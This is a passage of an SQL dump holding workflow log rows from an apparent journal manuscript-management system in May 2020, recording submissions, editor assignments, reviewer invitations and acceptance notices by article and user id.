article',555,'Publisher',84),(34624,'2020-05-20 13:43:14','Publisher : Notified Author',3804,'Publisher',84),(34625,'2020-05-20 13:43:33','Publisher : Notified Author',3798,'Publisher',84),(34626,'2020-05-20 13:43:52','Publisher has been Withdrawn  article',3213,'Publisher',84),(34627,'2020-05-20 13:47:34','Publisher has been Withdrawn  article',3037,'Publisher',84),(34628,'2020-05-20 13:50:33','Publisher has been Withdrawn  article',3036,'Publisher',84),(34629,'2020-05-20 13:50:37','Publisher has been Withdrawn  article',3036,'Publisher',84),(34630,'2020-05-20 13:50:39','Publisher has been Withdrawn  article',3036,'Publisher',84),(34631,'2020-05-20 13:50:42','Publisher has been Withdrawn  article',3036,'Publisher',84),(34632,'2020-05-20 13:50:42','Publisher has been Withdrawn  article',3036,'Publisher',84),(34633,'2020-05-20 13:50:42','Publisher has been Withdrawn  article',3036,'Publisher',84),(34634,'2020-05-20 13:50:43','Publisher has been Withdrawn  article',3036,'Publisher',84),(34635,'2020-05-20 13:50:44','Publisher has been Withdrawn  article',3036,'Publisher',84),(34636,'2020-05-20 13:51:33','Publisher has been Withdrawn  article',3036,'Publisher',84),(34637,'2020-05-20 13:53:42','Publisher has been Withdrawn  article',557,'Publisher',84),(34653,'2020-05-20 14:22:43','Publisher has been Assigned Editor',4173,'Publisher',48),(34668,'2020-05-20 14:57:27','Publisher has been Assigned Editor',3882,'Publisher',673),(34677,'2020-05-20 15:16:19','Publisher has been Assigned Editor',3983,'Publisher',673),(34710,'2020-05-20 16:23:13','Publisher has been Assigned Editor',4174,'Publisher',248),(34711,'2020-05-20 16:36:49','Reviewer has submitted comments',4113,'Reviewer',9532),(34713,'2020-05-20 17:01:42','Publisher : Notified Editor',4113,'Publisher',85),(34714,'2020-05-20 17:02:48','Editor has Accepted to review Manuscript',4113,'Editor',1408),(34715,'2020-05-20 17:03:09','Editor has been Editor Decision Accepted article',4113,'Editor',1408),(34717,'2020-05-20 17:29:42','Publisher has Invited Reviewer',3722,'Publisher',85),(34718,'2020-05-20 17:29:44','Publisher has Invited Reviewer',3722,'Publisher',85),(34719,'2020-05-20 17:36:55','Publisher : Notified Editor',2838,'Publisher',85),(34720,'2020-05-20 17:38:08','Manuscript Submitted by Author',4183,'Author',5382),(34721,'2020-05-20 17:38:17','Editor has Accepted to review Manuscript',2838,'Editor',203),(34722,'2020-05-20 17:38:36','Editor has been Editor Decision Accepted article',2838,'Editor',203),(34723,'2020-05-20 17:40:53','Reviewer has been sent email to Publisher',3880,'Reviewer',12875),(34724,'2020-05-20 17:41:29','Publisher has been Assigned Editor',4178,'Publisher',48),(34741,'2020-05-20 17:49:19','Publisher : Notified Editor',3791,'Publisher',85),(34746,'2020-05-20 17:50:00','Editor has Accepted to review Manuscript',3791,'Editor',1343),(34747,'2020-05-20 17:50:53','Editor has been Revise (Notify Author) article',3791,'Editor',1343),(34748,'2020-05-20 17:52:59','Publisher : Notified Author',3791,'Publisher',85),(34749,'2020-05-20 18:05:06','Reviewer has submitted comments',3880,'Reviewer',12875),(34754,'2020-05-20 18:15:34','Publisher has Invited Reviewer',4006,'Publisher',319),(34755,'2020-05-20 18:16:00','Publisher has Invited Reviewer',4117,'Publisher',319),(34756,'2020-05-20 18:17:03','Publisher has Invited Reviewer',3741,'Publisher',319),(34757,'2020-05-20 18:17:07','Publisher has Invited Reviewer',3741,'Publisher',319),(34758,'2020-05-20 18:17:11','Publisher has Invited Reviewer',3741,'Publisher',319),(34759,'2020-05-20 18:17:15','Publisher has Invited Reviewer',3741,'Publisher',319),(34760,'2020-05-20 18:17:19','Publisher has Invited Reviewer',3741,'Publisher',319),(34761,'2020-05-20 18:17:23','Publisher has Invited Reviewer',3741,'Publisher',319),(34762,'2020-05-20 18:17:28','Publisher has Invited Reviewer',3741,'Publisher',319),(34763,'2020-05-20 18:20:06','Publisher has Invited Reviewer',4138,'Publisher',319),(34764,'2020-05-20 18:20:10','Publisher has Invited Reviewer',4138,'Publisher',319),(34765,'2020-05-20 18:20:14','Publisher has Invited Reviewer',4138,'Publisher',319),(34766,'2020-05-20 18:20:18','Publisher has Invited Reviewer',4138,'Publisher',319),(34767,'2020-05-20 18:20:23','Publisher has Invited Reviewer',4138,'Publisher',319),(34768,'2020-05-20 18:20:27','Publisher has Invited Reviewer',4138,'Publisher',319),(34769,'2020-05-20 18:20:31','Publisher has Invited Reviewer',4138,'Publisher',319),(34781,'2020-05-20 20:47:09','Manuscript Submitted by Author',4187,'Author',3790),(34785,'2020-05-20 23:40:04','Reviewer has submitted comments',4081,'Reviewer',12776),(34787,'2020-05-21 01:23:38','Manuscript Submitted by Author using Submission form',4190,'Author',5400),(34789,'2020-05-21 07:03:45','Manuscript Submitted by Author using Submission form',4191,'Author',5402),(34793,'2020-05-21 09:44:30','Publisher has been Assigned Editor',4183,'Publisher',48),(34794,'2020-05-21 09:45:38','Publisher has Invited Reviewer',4173,'Publisher',48),(34795,'2020-05-21 09:45:54','Publisher has Invited Reviewer',4183,'Publisher',48),(34799,'2020-05-21 10:29:02','Publisher has been Assigned Editor',3898,'Publisher',85),(34800,'2020-05-21 10:30:11','Publisher has Invited Reviewer',3898,'Publisher',85),(34801,'2020-05-21 10:30:13','Publisher has Invited Reviewer',3898,'Publisher',85),(34802,'2020-05-21 10:30:14','Publisher has Invited Reviewer',3898,'Publisher',85),(34803,'2020-05-21 10:30:15','Publisher has Invited Reviewer',3898,'Publisher',85),(34804,'2020-05-21 10:30:16','Publisher has Invited Reviewer',3898,'Publisher',85),(34805,'2020-05-21 10:30:17','Publisher has Invited Reviewer',3898,'Publisher',85),(34806,'2020-05-21 10:30:19','Publisher has Invited Reviewer',3898,'Publisher',85),(34807,'2020-05-21 10:30:25','Publisher has Invited Reviewer',3898,'Publisher',85),(34808,'2020-05-21 10:30:26','Publisher has Invited Reviewer',3898,'Publisher',85),(34809,'2020-05-21 10:30:27','Publisher has Invited Reviewer',3898,'Publisher',85),(34810,'2020-05-21 10:30:33','Publisher has Invited Reviewer',3898,'Publisher',85),(34811,'2020-05-21 10:30:35','Publisher has Invited Reviewer',3898,'Publisher',85),(34812,'2020-05-21 10:30:36','Publisher has Invited Reviewer',3898,'Publisher',85),(34816,'2020-05-21 11:13:22','Manuscript Submitted by Author using Submission form',4194,'Author',5405),(34826,'2020-05-21 12:56:28','Manuscript Submitted by Author',4200,'Author',5382),(34827,'2020-05-21 13:38:35','Publisher has been Assigned Editor',4190,'Publisher',48),(34828,'2020-05-21 13:48:22','Manuscript Submitted by Author using Submission form',4201,'Author',5413),(34862,'2020-05-21 16:32:09','Manuscript Submitted by Author using Submission form',4209,'Author',5421),(34866,'2020-05-21 17:23:40','Publisher has been Assigned Editor',4200,'Publisher',48),(34874,'2020-05-21 18:27:20','Publisher has Invited Reviewer',4200,'Publisher',48),(34877,'2020-05-21 18:34:01','Reviewer has submitted comments',3741,'Reviewer',12875),(34893,'2020-05-22 01:26:12','Manuscript Submitted by Author using Submission form',4215,'Author',5428),(34894,'2020-05-22 02:07:52','Manuscript Submitted by Author using Submission form',4216,'Author',5429),(34895,'2020-05-22 02:30:33','Author sent Email',4160,'Author',5368),(34896,'2020-05-22 02:31:53','Author sent Email',4160,'Author',5368),(34899,'2020-05-22 07:57:56','Manuscript Submitted by Author using Submission form',4218,'Author',5431),(34914,'2020-05-22 10:18:17','Publisher has been Assigned Editor',4209,'Publisher',48),(34927,'2020-05-22 11:26:09','Publisher has Invited Reviewer',4178,'Publisher',48),(34928,'2020-05-22 11:26:11','Publisher has Invited Reviewer',4178,'Publisher',48),(34929,'2020-05-22 11:26:12','Publisher has Invited Reviewer',4178,'Publisher',48),(34930,'2020-05-22 11:26:33','Publisher has Invited Reviewer',4209,'Publisher',48),(34931,'2020-05-22 11:26:34','Publisher has Invited Reviewer',4209,'Publisher',48),(34932,'2020-05-22 11:26:35','Publisher has Invited Reviewer',4209,'Publisher',48),(34935,'2020-05-22 14:15:49','Reviewer has submitted comments',2464,'Reviewer',2238),(34938,'2020-05-22 14:48:40','Publisher : Notified Author',3804,'Publisher',84),(34940,'2020-05-22 14:49:48','Publisher : Notified Author',3798,'Publisher',84),(34960,'2020-05-22 16:07:59','Publisher has been Assigned Editor',4216,'Publisher',274),(34961,'2020-05-22 16:11:22','Publisher has Invited Reviewer',4209,'Publisher',48),(34962,'2020-05-22 16:11:23','Publisher has Invited Reviewer',4209,'Publisher',48),(34963,'2020-05-22 16:11:24','Publisher has Invited Reviewer',4209,'Publisher',48),(34964,'2020-05-22 16:11:49','Publisher has Invited Reviewer',4190,'Publisher',48),(34965,'2020-05-22 16:14:32','Editor has Accepted to review Manuscript',4081,'Editor',194),(34966,'2020-05-22 16:14:44','Editor has been Editor Decision Accepted article',4081,'Editor',194),(34967,'2020-05-22 16:15:08','Editor has Accepted to review Manuscript',4024,'Editor',194),(34968,'2020-05-22 16:15:20','Editor has been Editor Decision Accepted article',4024,'Editor',194),(34969,'2020-05-22 16:15:34','Editor has Accepted to review Manuscript',4142,'Editor',194),(34970,'2020-05-22 16:15:47','Editor has been Editor Decision Accepted article',4142,'Editor',194),(34971,'2020-05-22 16:16:24','Publisher: Accept Notification has been sent to Author',4081,'Publisher',48),(34973,'2020-05-22 16:16:44','Publisher: Accept Notification has been sent to Author',4024,'Publisher',48),(34996,'2020-05-22 17:18:57','Publisher has Invited Reviewer',4216,'Publisher',274),(34997,'2020-05-22 17:23:35','Editor has been Editor Decision Accepted article',3698,'Editor',1235),(34998,'2020-05-22 17:24:00','Editor has Accepted to review Manuscript',3696,'Editor',1235),(34999,'2020-05-22 17:24:16','Editor has been Editor Decision Accepted article',3696,'Editor',1235),(35000,'2020-05-22 17:25:07','Editor has Accepted to review Manuscript',3824,'Editor',1235),(35001,'2020-05-22 17:25:47','Editor has been Editor Decision Accepted article',3824,'Editor',1235),(35002,'2020-05-22 17:26:13','Editor has Accepted to review Manuscript',3546,'Editor',1235),(35003,'2020-05-22 17:26:31','Editor has been Editor Decision Accepted article',3546,'Editor',1235),(35005,'2020-05-22 17:28:28','Publisher: Accept Notification has been sent to Author',3546,'Publisher',274),(35006,'2020-05-22 17:28:41','Publisher has been Accepted Articles  article',3546,'Publisher',274),(35007,'2020-05-22 17:29:00','Publisher has been Accepted Articles  article',3696,'Publisher',274),(35008,'2020-05-22 17:29:11','Publisher has been Accepted Articles  article',3698,'Publisher',274),(35010,'2020-05-22 17:29:22','Publisher has been Accepted Articles  article',3824,'Publisher',274),(35017,'2020-05-22 18:50:13','Manuscript Submitted by Author using Submission form',4226,'Author',5440),(35018,'2020-05-22 18:58:27','Publisher: Accept Notification has been sent to Author',4113,'Publisher',85),(35021,'2020-05-22 19:05:03','Publisher has been Assigned Editor',4194,'Publisher',85),(35022,'2020-05-22 19:07:13','Publisher has Invited Reviewer',4194,'Publisher',85),(35023,'2020-05-22 19:07:14','Publisher has Invited Reviewer',4194,'Publisher',85),(35024,'2020-05-22 19:07:16','Publisher has Invited Reviewer',4194,'Publisher',85),(35025,'2020-05-22 19:07:29','Publisher has Invited Reviewer',4194,'Publisher',85),(35026,'2020-05-22 19:07:31','Publisher has Invited Reviewer',4194,'Publisher',85),(35033,'2020-05-23 00:15:59','Manuscript Submitted by Author using Submission form',4230,'Author',5444),(35035,'2020-05-23 01:19:58','Author sent Email',3780,'Author',4952),(35053,'2020-05-23 11:47:23','Publisher has been Assigned Editor',4144,'Publisher',972),(35054,'2020-05-23 11:47:49','Publisher has Invited Reviewer',4144,'Publisher',972),(35055,'2020-05-23 11:47:59','Publisher has Invited Reviewer',4144,'Publisher',972),(35088,'2020-05-23 12:10:30','Publisher has Invited Reviewer',4134,'Publisher',75),(35089,'2020-05-23 12:10:32','Publisher has Invited Reviewer',4134,'Publisher',75),(35090,'2020-05-23 12:10:33','Publisher has Invited Reviewer',4134,'Publisher',75),(35091,'2020-05-23 12:10:35','Publisher has Invited Reviewer',4134,'Publisher',75),(35095,'2020-05-23 12:11:30','Publisher has Invited Reviewer',4160,'Publisher',75),(35096,'2020-05-23 12:11:31','Publisher has Invited Reviewer',4160,'Publisher',75),(35097,'2020-05-23 12:11:40','Publisher has Invited Reviewer',4160,'Publisher',75),(35106,'2020-05-23 12:13:08','Publisher has Invited Reviewer',4160,'Publisher',75),(35107,'2020-05-23 12:13:10','Publisher has Invited Reviewer',4160,'Publisher',75),(35120,'2020-05-23 12:16:19','Publisher has been Assigned Editor',4187,'Publisher',75),(35153,'2020-05-23 12:29:05','Manuscript Submitted by Publisher',4241,'Publisher',75),(35154,'2020-05-23 12:29:28','Publisher has been Assigned Editor',4241,'Publisher',75),(35164,'2020-05-23 12:35:57','Publisher has been Assigned Editor',4230,'Publisher',48),(35165,'2020-05-23 12:36:38','Publisher has Invited Reviewer',4230,'Publisher',48),(35166,'2020-05-23 12:36:39','Publisher has Invited Reviewer',4230,'Publisher',48),(35167,'2020-05-23 12:37:10','Publisher has Invited Reviewer',4209,'Publisher',48),(35168,'2020-05-23 12:37:45','Publisher has Invited Reviewer',4178,'Publisher',48),(35236,'2020-05-23 13:42:37','Publisher has Invited Reviewer',3898,'Publisher',85),(35237,'2020-05-23 13:42:38','Publisher has Invited Reviewer',3898,'Publisher',85),(35238,'2020-05-23 13:42:39','Publisher has Invited Reviewer',3898,'Publisher',85),(35239,'2020-05-23 13:42:40','Publisher has Invited Reviewer',3898,'Publisher',85),(35310,'2020-05-23 14:55:18','Manuscript Submitted by Author using Submission form',4248,'Author',5463),(35314,'2020-05-23 17:11:49','Publisher has Invited Reviewer',4138,'Publisher',319),(35315,'2020-05-23 17:15:00','Editor has been Editor Decision Accepted article',3708,'Editor',1067),(35316,'2020-05-23 17:15:18','Editor has been Editor Decision Accepted article',3741,'Editor',1067),(35317,'2020-05-23 17:15:40','Editor has been Editor Decision Accepted article',3880,'Editor',1067),(35318,'2020-05-23 17:19:06','Publisher: Accept Notification has been sent to Author',3708,'Publisher',319),(35325,'2020-05-23 23:00:18','Manuscript Submitted by Author',4250,'Author',5465),(35327,'2020-05-24 01:53:51','Manuscript Submitted by Author using Submission form',4251,'Author',5467),(35329,'2020-05-24 04:15:10','Author sent Email',4160,'Author',5368),(35331,'2020-05-24 10:46:14','Manuscript Submitted by Author using Submission form',4253,'Author',5470),(35333,'2020-05-24 13:30:39','Author sent Email',3888,'Author',5082),(35338,'2020-05-24 21:14:50','Editor has Accepted to review Manuscript',4187,'Editor',160),(35339,'2020-05-24 21:15:01','Editor has Accepted to review Manuscript',4005,'Editor',160),(35340,'2020-05-24 21:16:40','Editor has Invited Reviewer',4187,'Editor',160),(35341,'2020-05-24 21:16:41','Editor has Invited Reviewer',4187,'Editor',160),(35342,'2020-05-24 21:16:43','Editor has Invited Reviewer',4187,'Editor',160),(35343,'2020-05-24 21:16:44','Editor has Invited Reviewer',4187,'Editor',160),(35344,'2020-05-24 21:16:46','Editor has Invited Reviewer',4187,'Editor',160),(35345,'2020-05-24 21:18:35','Editor has Invited Reviewer',4005,'Editor',160),(35346,'2020-05-24 21:18:36','Editor has Invited Reviewer',4005,'Editor',160),(35347,'2020-05-24 21:18:37','Editor has Invited Reviewer',4005,'Editor',160),(35348,'2020-05-24 21:18:39','Editor has Invited Reviewer',4005,'Editor',160),(35349,'2020-05-24 21:18:41','Editor has Invited Reviewer',4005,'Editor',160),(35353,'2020-05-25 09:18:32','Publisher has Invited Reviewer',3888,'Publisher',75),(35436,'2020-05-25 12:01:58','Publisher has been Assigned Editor',4253,'Publisher',48),(35437,'2020-05-25 12:02:15','Publisher has been Assigned Editor',4248,'Publisher',48),(35465,'2020-05-25 12:35:02','Manuscript Submitted by Author using Submission form',4272,'Author',5488),(35473,'2020-05-25 14:47:10','Publisher: Accept Notification has been sent to Author',3657,'Publisher',75),(35499,'2020-05-25 15:36:07','Publisher has been Assigned Editor',4251,'Publisher',319),(35509,'2020-05-25 16:27:12','Editor has Accepted to review Manuscript',4251,'Editor',1067),(35525,'2020-05-25 16:50:10','Publisher has Invited Reviewer',3722,'Publisher',85),(35526,'2020-05-25 16:50:12','Publisher has Invited Reviewer',3722,'Publisher',85),(35527,'2020-05-25 16:50:12','Publisher has Invited Reviewer',3722,'Publisher',85),(35528,'2020-05-25 16:50:14','Publisher has Invited Reviewer',3722,'Publisher',85),(35529,'2020-05-25 16:50:15','Publisher has Invited Reviewer',3722,'Publisher',85),(35530,'2020-05-25 16:50:17','Publisher has Invited Reviewer',3722,'Publisher',85),(35531,'2020-05-25 16:52:41','Reviewer has submitted comments',4138,'Reviewer',12897),(35532,'2020-05-25 16:55:32','Manuscript Submitted by Author',4280,'Author',5469),(35539,'2020-05-25 17:03:03','Publisher has Invited Reviewer',4064,'Publisher',85),(35540,'2020-05-25 17:03:04','Publisher has Invited Reviewer',4064,'Publisher',85),(35541,'2020-05-25 17:03:05','Publisher has Invited Reviewer',4064,'Publisher',85),(35542,'2020-05-25 17:03:07','Publisher has Invited Reviewer',4064,'Publisher',85),(35543,'2020-05-25 17:03:08','Publisher has Invited Reviewer',4064,'Publisher',85),(35544,'2020-05-25 17:03:09','Publisher has Invited Reviewer',4064,'Publisher',85),(35554,'2020-05-25 17:10:42','Publisher has Invited Reviewer',3938,'Publisher',85),(35555,'2020-05-25 17:10:43','Publisher has Invited Reviewer',3938,'Publisher',85),(35556,'2020-05-25 17:10:44','Publisher has Invited Reviewer',3938,'Publisher',85),(35557,'2020-05-25 17:10:46','Publisher has Invited Reviewer',3938,'Publisher',85),(35558,'2020-05-25 17:10:47','Publisher has Invited Reviewer',3938,'Publisher',85),(35559,'2020-05-25 17:10:48','Publisher has Invited Reviewer',3938,'Publisher',85),(35560,'2020-05-25 17:10:50','Publisher has Invited Reviewer',3938,'Publisher',85),(35561,'2020-05-25 17:11:33','Publisher has Invited Reviewer',3898,'Publisher',85),(35562,'2020-05-25 17:11:34','Publisher has Invited Reviewer',3898,'Publisher',85),(35563,'2020-05-25 17:11:35','Publisher has Invited Reviewer',3898,'Publisher',85),(35564,'2020-05-25 17:11:37','Publisher has Invited Reviewer',3898,'Publisher',85),(35565,'2020-05-25 17:11:38','Publisher has Invited Reviewer',3898,'Publisher',85),(35566,'2020-05-25 17:11:40','Publisher has Invited Reviewer',3898,'Publisher',85),(35573,'2020-05-25 17:45:31','Publisher has Invited Reviewer',3830,'Publisher',85),(35574,'2020-05-25 17:45:32','Publisher has Invited Reviewer',3830,'Publisher',85),(35575,'2020-05-25 17:45:33','Publisher has Invited Reviewer',3830,'Publisher',85),(35576,'2020-05-25 17:45:35','Publisher has Invited Reviewer',3830,'Publisher',85),(35578,'2020-05-25 17:45:36','Publisher has Invited Reviewer',3830,'Publisher',85),(35579,'2020-05-25 17:45:37','Publisher has Invited Reviewer',3830,'Publisher',85),(35613,'2020-05-26 05:50:16','Reviewer has submitted comments',4160,'Reviewer',12898),(35614,'2020-05-26 09:05:44','Reviewer has submitted comments',4140,'Reviewer',9108),(35615,'2020-05-26 09:06:29','Publisher : Notified Editor',4140,'Publisher',248),(35616,'2020-05-26 09:07:01','Editor has Accepted to review Manuscript',4140,'Editor',358),(35617,'2020-05-26 09:07:20','Editor has been Editor Decision Accepted article',4140,'Editor',358),(35618,'2020-05-26 09:07:57','Publisher: Accept Notification has been sent to Author',4140,'Publisher',248),(35619,'2020-05-26 09:10:55','Editor has Accepted to review Manuscript',4132,'Editor',194),(35620,'2020-05-26 09:11:06','Editor has been Editor Decision Accepted article',4132,'Editor',194),(35621,'2020-05-26 09:12:24','Publisher: Accept Notification has been sent to Author',4132,'Publisher',48),(35665,'2020-05-26 10:23:30','Publisher has been Assigned Editor',4215,'Publisher',248),(35666,'2020-05-26 10:27:24','Publisher has Invited Reviewer',3983,'Publisher',673),(35667,'2020-05-26 10:27:31','Publisher has Invited Reviewer',3983,'Publisher',673),(35668,'2020-05-26 10:27:32','Publisher has Invited Reviewer',3983,'Publisher',673),(35669,'2020-05-26 10:27:34','Publisher has Invited Reviewer',3983,'Publisher',673),(35670,'2020-05-26 10:27:35','Publisher has Invited Reviewer',3983,'Publisher',673),(35671,'2020-05-26 10:27:36','Publisher has Invited Reviewer',3983,'Publisher',673),(35674,'2020-05-26 10:37:30','Publisher: Accept Notification has been sent to Author',4090,'Publisher',376),(35694,'2020-05-26 11:29:23','Publisher has Invited Reviewer',3882,'Publisher',673),(35695,'2020-05-26 11:29:24','Publisher has Invited Reviewer',3882,'Publisher',673),(35696,'2020-05-26 11:29:25','Publisher has Invited Reviewer',3882,'Publisher',673),(35697,'2020-05-26 11:29:27','Publisher has Invited Reviewer',3882,'Publisher',673),(35698,'2020-05-26 11:29:28','Publisher has Invited Reviewer',3882,'Publisher',673),(35699,'2020-05-26 11:29:30','Publisher has Invited Reviewer',3882,'Publisher',673),(35700,'2020-05-26 11:29:31','Publisher has Invited Reviewer',3882,'Publisher',673),(35701,'2020-05-26 11:32:24','Publisher has been Assigned Editor',4218,'Publisher',673),(35702,'2020-05-26 11:32:41','Publisher has been Assigned Editor',4191,'Publisher',673),(35714,'2020-05-26 12:16:03','Publisher has been Assigned Editor',4272,'Publisher',48),(35780,'2020-05-26 16:52:33','Publisher: Accept Notification has been sent to Author',2838,'Publisher',85),(35783,'2020-05-26 18:24:51','Manuscript Submitted by Publisher',4313,'Publisher',48),(35784,'2020-05-26 18:25:23','Publisher has been Assigned Editor',4313,'Publisher',48),(35788,'2020-05-26 20:59:39','Author sent Email',3812,'Author',4990),(35791,'2020-05-26 21:34:55','Publisher has Invited Reviewer',4174,'Publisher',248),(35792,'2020-05-26 21:34:56','Publisher has Invited Reviewer',4174,'Publisher',248),(35793,'2020-05-26 21:34:57','Publisher has Invited Reviewer',4174,'Publisher',248),(35794,'2020-05-26 21:34:58','Publisher has Invited Reviewer',4174,'Publisher',248),(35795,'2020-05-26 21:36:39','Reviewer has submitted comments',4174,'Reviewer',5406),(35796,'2020-05-26 21:37:14','Publisher : Notified Editor',4174,'Publisher',248),(35797,'2020-05-26 21:37:40','Editor has Accepted to review Manuscript',4174,'Editor',358),(35798,'2020-05-26 21:37:49','Editor has been Editor Decision Accepted article',4174,'Editor',358),(35800,'2020-05-26 22:44:59','Manuscript Submitted by Author using Submission form',4316,'Author',5533),(35805,'2020-05-27 01:37:05','Reviewer has submitted comments',4144,'Reviewer',10393),(35813,'2020-05-27 08:03:47','Manuscript Submitted by Author using Submission form',4322,'Author',5541),(35869,'2020-05-27 12:07:01','Publisher has Invited Reviewer',4241,'Publisher',75),(35870,'2020-05-27 12:07:03','Publisher has Invited Reviewer',4241,'Publisher',75),(35871,'2020-05-27 12:07:04','Publisher has Invited Reviewer',4241,'Publisher',75),(35872,'2020-05-27 12:07:05','Publisher has Invited Reviewer',4241,'Publisher',75),(35874,'2020-05-27 12:14:47','Manuscript Submitted by Author using Submission form',4324,'Author',5544),(35895,'2020-05-27 13:02:26','Publisher has Invited Reviewer',4251,'Publisher',319),(35896,'2020-05-27 13:02:31','Publisher has Invited Reviewer',4251,'Publisher',319),(35897,'2020-05-27 13:02:35','Publisher has Invited Reviewer',4251,'Publisher',319),(35898,'2020-05-27 13:02:39','Publisher has Invited Reviewer',4251,'Publisher',319),(35899,'2020-05-27 13:02:44','Publisher has Invited Reviewer',4251,'Publisher',319),(35900,'2020-05-27 13:02:48','Publisher has Invited Reviewer',4251,'Publisher',319),(35901,'2020-05-27 13:02:53','Publisher has Invited Reviewer',4251,'Publisher',319),(35902,'2020-05-27 13:02:57','Publisher has Invited Reviewer',4251,'Publisher',319),(35909,'2020-05-27 13:45:20','Editor has Accepted to review Manuscript',4149,'Editor',194),(35910,'2020-05-27 13:46:17','Editor has been Editor Decision Accepted article',4149,'Editor',194),(35911,'2020-05-27 13:46:49','Publisher: Accept Notification has been sent to Author',4149,'Publisher',48),(35936,'2020-05-27 14:04:26','Manuscript Submitted by Author using Submission form',4328,'Author',5548),(35959,'2020-05-27 15:22:52','Publisher has been Assigned Editor',4280,'Publisher',248),(35960,'2020-05-27 15:23:28','Publisher has Invited Reviewer',4280,'Publisher',248),(35961,'2020-05-27 15:23:30','Publisher has Invited Reviewer',4280,'Publisher',248),(35962,'2020-05-27 15:23:31','Publisher has Invited Reviewer',4280,'Publisher',248),(35963,'2020-05-27 15:23:33','Publisher has Invited Reviewer',4280,'Publisher',248),(35964,'2020-05-27 15:24:03','Publisher has Invited Reviewer',4215,'Publisher',248),(35965,'2020-05-27 15:24:04','Publisher has Invited Reviewer',4215,'Publisher',248),(35966,'2020-05-27 15:24:06','Publisher has Invited Reviewer',4215,'Publisher',248),(35967,'2020-05-27 15:24:07','Publisher has Invited Reviewer',4215,'Publisher',248),(35968,'2020-05-27 15:24:08','Publisher has Invited Reviewer',4215,'Publisher',248),(35969,'2020-05-27 15:24:30','Publisher has Invited Reviewer',4150,'Publisher',248),(35970,'2020-05-27 15:24:32','Publisher has Invited Reviewer',4150,'Publisher',248),(35971,'2020-05-27 15:25:08','Publisher has Invited Reviewer',3862,'Publisher',248),(35972,'2020-05-27 15:25:09','Publisher has Invited Reviewer',3862,'Publisher',248),(35973,'2020-05-27 15:25:10','Publisher has Invited Reviewer',3862,'Publisher',248),(35974,'2020-05-27 15:25:11','Publisher has Invited Reviewer',3862,'Publisher',248),(35975,'2020-05-27 15:25:40','Publisher has Invited Reviewer',3825,'Publisher',248),(35976,'2020-05-27 15:25:41','Publisher has Invited Reviewer',3825,'Publisher',248),(35977,'2020-05-27 15:25:48','Publisher has Invited Reviewer',3825,'Publisher',248),(35978,'2020-05-27 15:25:49','Publisher has Invited Reviewer',3825,'Publisher',248),(35979,'2020-05-27 15:26:09','Publisher has Invited Reviewer',3825,'Publisher',248),(35980,'2020-05-27 15:26:11','Publisher has Invited Reviewer',3825,'Publisher',248),(35981,'2020-05-27 15:26:12','Publisher has Invited Reviewer',3825,'Publisher',248),(35982,'2020-05-27 15:26:13','Publisher has Invited Reviewer',3825,'Publisher',248),(35987,'2020-05-27 15:28:45','Publisher has been Assigned Editor',4316,'Publisher',48),(35990,'2020-05-27 15:29:00','Publisher has been Assigned Editor',4324,'Publisher',48),(35991,'2020-05-27 15:29:29','Publisher has Invited Reviewer',4316,'Publisher',48),(35992,'2020-05-27 15:29:31','Publisher has Invited Reviewer',4316,'Publisher',48),(35993,'2020-05-27 15:30:13','Publisher has Invited Reviewer',4324,'Publisher',48),(35994,'2020-05-27 15:30:14','Publisher has Invited Reviewer',4324,'Publisher',48),(35995,'2020-05-27 15:30:42','Publisher has Invited Reviewer',4313,'Publisher',48),(35996,'2020-05-27 15:30:43','Publisher has Invited Reviewer',4313,'Publisher',48),(35997,'2020-05-27 15:31:09','Publisher has Invited Reviewer',4253,'Publisher',48),(35998,'2020-05-27 15:33:45','Publisher has Invited Reviewer',4272,'Publisher',48),(35999,'2020-05-27 15:33:46','Publisher has Invited Reviewer',4272,'Publisher',48),(36000,'2020-05-27 15:34:19','Publisher has Invited Reviewer',4248,'Publisher',48),(36001,'2020-05-27 15:34:21','Publisher has Invited Reviewer',4248,'Publisher',48),(36009,'2020-05-27 15:42:12','Manuscript Submitted by Author using Submission form',4337,'Author',5561),(36013,'2020-05-27 15:58:06','Publisher has been Assigned Editor',4328,'Publisher',48),(36043,'2020-05-27 17:33:17','Manuscript Submitted by Author using Submission form',4344,'Author',5569),(36048,'2020-05-27 18:24:38','Publisher has been Assigned Editor',4322,'Publisher',75),(36063,'2020-05-27 21:00:21','Editor has Accepted to review Manuscript',4322,'Editor',160),(36064,'2020-05-27 21:01:41','Editor has Invited Reviewer',4322,'Editor',160),(36065,'2020-05-27 21:01:42','Editor has Invited Reviewer',4322,'Editor',160),(36066,'2020-05-27 21:01:44','Editor has Invited Reviewer',4322,'Editor',160),(36067,'2020-05-27 21:01:45','Editor has Invited Reviewer',4322,'Editor',160),(36068,'2020-05-27 21:01:46','Editor has Invited Reviewer',4322,'Editor',160),(36180,'2020-05-28 13:45:21','Publisher has been Assigned Editor',4344,'Publisher',48),(36219,'2020-05-28 17:40:20','Editor has Accepted to review Manuscript',4178,'Editor',194),(36221,'2020-05-28 17:40:45','Editor has been Editor Decision Accepted article',4178,'Editor',194),(36223,'2020-05-28 17:42:05','Publisher: Accept Notification has been sent to Author',4178,'Publisher',48),(36226,'2020-05-28 17:42:23','Publisher: Accept Notification has been sent to Author',4178,'Publisher',48),(36250,'2020-05-28 18:43:33','Publisher has Invited Reviewer',4194,'Publisher',85),(36251,'2020-05-28 18:43:35','Publisher has Invited Reviewer',4194,'Publisher',85),(36252,'2020-05-28 18:43:36','Publisher has Invited Reviewer',4194,'Publisher',85),(36253,'2020-05-28 18:43:37','Publisher has Invited Reviewer',4194,'Publisher',85),(36254,'2020-05-28 18:43:39','Publisher has Invited Reviewer',4194,'Publisher',85),(36261,'2020-05-28 18:57:18','Publisher has Invited Reviewer',3812,'Publisher',85),(36262,'2020-05-28 18:57:20','Publisher has Invited Reviewer',3812,'Publisher',85),(36263,'2020-05-28 18:57:21','Publisher has Invited Reviewer',3812,'Publisher',85),(36264,'2020-05-28 18:57:23','Publisher has Invited Reviewer',3812,'Publisher',85),(36265,'2020-05-28 18:57:24','Publisher has Invited Reviewer',3812,'Publisher',85),(36266,'2020-05-28 18:57:25','Publisher has Invited Reviewer',3812,'Publisher',85),(36267,'2020-05-28 18:57:26','Publisher has Invited Reviewer',3812,'Publisher',85),(36271,'2020-05-28 19:11:05','Publisher has Invited Reviewer',3938,'Publisher',85),(36272,'2020-05-28 19:11:06','Publisher has Invited Reviewer',3938,'Publisher',85),(36273,'2020-05-28 19:11:08','Publisher has Invited Reviewer',3938,'Publisher',85),(36274,'2020-05-28 19:16:10','Publisher has Invited Reviewer',4064,'Publisher',85),(36275,'2020-05-28 19:16:12','Publisher has Invited 